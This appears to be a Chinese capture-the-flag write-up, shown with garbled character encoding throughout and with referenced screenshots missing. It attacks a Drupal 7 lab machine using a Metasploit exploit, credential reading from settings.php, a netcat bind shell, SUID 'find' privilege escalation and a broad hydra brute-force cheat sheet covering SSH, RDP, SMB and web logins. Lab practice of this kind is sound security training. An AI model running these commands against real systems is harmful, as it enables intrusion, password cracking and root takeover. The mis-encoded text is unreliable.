環(huán)境:
kali:
ifconfig? ? #得到:192.168.0.115

局域網(wǎng)探測(cè):
arp-scan -l? ?#需要root權(quán)限執(zhí)行,靶機(jī)IP:192.168.0.119

nmap掃描:
nmap -sP 192.168.0.1/24 #掃描Ip段的所有Ip地址

nmap -A -p1-65535 -T4 192.168.0.119? 掃描端口,查看端口信息

80端口開放,使用瀏覽器訪問查看一下

80服務(wù)用的是drupal 7 我們就可以找他的漏洞了
啟動(dòng)Metersploit來查看漏洞并利用漏洞
msfconsole
尋找關(guān)于?drupal 的模塊
search drupal

用2018年的漏洞的測(cè)試
use? ?對(duì)應(yīng)模塊
show options? 查看信息
set rhosts? 遠(yuǎn)程主機(jī)ip
run? ?攻擊
exploit 攻擊
設(shè)置:

運(yùn)行:

攻擊拿權(quán):

在網(wǎng)站根目錄,這里能發(fā)現(xiàn)flag1.txt

drupal的數(shù)據(jù)庫(kù)配置文件在sites/default/settings.php
cat?sites/default/settings.php

查看數(shù)據(jù)庫(kù)的賬號(hào)密碼

使用python反彈一個(gè)交互式shell
方法一:
shell #權(quán)限,不是本地,是http鏈接,需要一個(gè)持久鏈接,反彈一個(gè)交互shell
python -c "import pty;pty.spawn('/bin/bash')"
方法二:
find /var/www/test -exec nc -lvp 9999 -e /bin/sh \;
nc 192.168.0.119 9999

mysql -udbuser? -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users\G

生成新的密碼:

替換密碼:
drupal密碼

flag3提示,提權(quán)并提示 -exec,想到suid提權(quán) find 命令
使用命令查看 suid 權(quán)限的可執(zhí)行二進(jìn)制程序
find / -perm -4000 2 >/dev/null
發(fā)現(xiàn)find命令
使用命令測(cè)試,發(fā)現(xiàn)為root權(quán)限
touch? ?test
find / -name test -exec "whoami"? \;
find / -name test -exec "/bin/sh"? \;
提權(quán)成功:

破解ssh 可以使用?crunch 生成字典,用hydra
各協(xié)議的具體命令:
????格式+示例:
1、破解ssh:
????hydra -L?用戶名字典?-p?密碼字典?-t?線程?-vV -e ns ip ssh
????hydra -l?用戶名?-p?密碼字典?-t?線程?-o save.log -vV ip ssh
2、破解ftp:
????hydra ip ftp -L?用戶名字典?-P?密碼字典?-t?線程(默認(rèn)16) -vV
????hydra ip ftp -l?用戶名?-P?密碼字典?-e ns -vV
3、get方式提交,破解web登錄:
????hydra -L?用戶名字典?-p?密碼字典?-t?線程?-vV -e ns ip http-get/admin/????hydra -l?用戶名?-p?密碼字典?-t?線程?-vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登錄:
????hydra --L?用戶名字典?-P?密碼字典?-s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"????hydra -t 3 -l admin -Ppass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"????參數(shù)說明:
????-t同時(shí)線程數(shù)3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f?當(dāng)破解了一個(gè)密碼就停止,?
????10.36.16.18目標(biāo)ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,中的內(nèi)容是表示錯(cuò)誤猜解的返回信息提示
5、破解https:
????hydra -m /index.php -l muts -Ppass.txt 10.36.16.18 https
????6、破解teamspeak:
????hydra -L?用戶名字典?-P?密碼字典?-s?端口號(hào)?-vV ip teamspeak
????7、破解cisco:
????hydra -Ppass.txt 10.36.16.18 cisco
????hydra -m cloud -Ppass.txt 10.36.16.18 cisco-enable
????8、破解smb:
????hydra -L?用戶名字典?-Ppass.txt 10.36.16.18 smb
????9、破解pop3:
????hydra -l muts -Ppass.txt my.pop3.mail pop3
????10、破解rdp:
????hydra ip rdp -l administrator -Ppass.txt -V
????11、破解http-proxy:
????hydra -l admin -Ppass.txt http-proxy://10.36.16.18
實(shí)際用戶ID(RUID):用于標(biāo)識(shí)一個(gè)系統(tǒng)中用戶是誰(shuí),一般是在登錄之后,就被唯一確定的,就是登陸的用戶的uid
有效用戶ID(EUID):用于系統(tǒng)決定用戶對(duì)系統(tǒng)資源的權(quán)限。也就是說當(dāng)用戶做任何一個(gè)操作時(shí),最終看它有沒有權(quán)限,都是在判斷有效用戶ID是否有權(quán)限,如果有,則OK,否則報(bào)錯(cuò)不能執(zhí)行。在正常情況下,一個(gè)用戶登錄之后(我們假設(shè)是A用戶),A用戶的有效用戶ID和實(shí)際用戶ID是相同的,但是如果A用戶在某些場(chǎng)景中想要執(zhí)行一些特權(quán)操作,而上面我們說到用戶的任何操作,LINUX內(nèi)核都是通過檢驗(yàn)有效用戶ID來判斷當(dāng)前執(zhí)行這個(gè)操作的用戶是否具有權(quán)限,顯然是特權(quán)操作,A用戶沒有權(quán)限,所以A用戶就只能通過一定的手段來修改當(dāng)前的有效用戶ID使其具有執(zhí)行特權(quán)操作的權(quán)限。這里說明了下面為什么我們需要修改有效用戶ID,就是想再某一時(shí)刻能夠執(zhí)行一些特權(quán)操作。下面在舉例說明。
設(shè)置用戶ID位:用于對(duì)外的權(quán)限的開發(fā),它的作用是我們?nèi)绾稳バ薷挠行в脩鬒D,在后面的例子中在展開。
保存設(shè)置用戶ID(SUID):是有效用戶ID副本,既然有效用戶ID是副本,那么它的作用肯定是為了以后恢復(fù)有效用戶ID用的。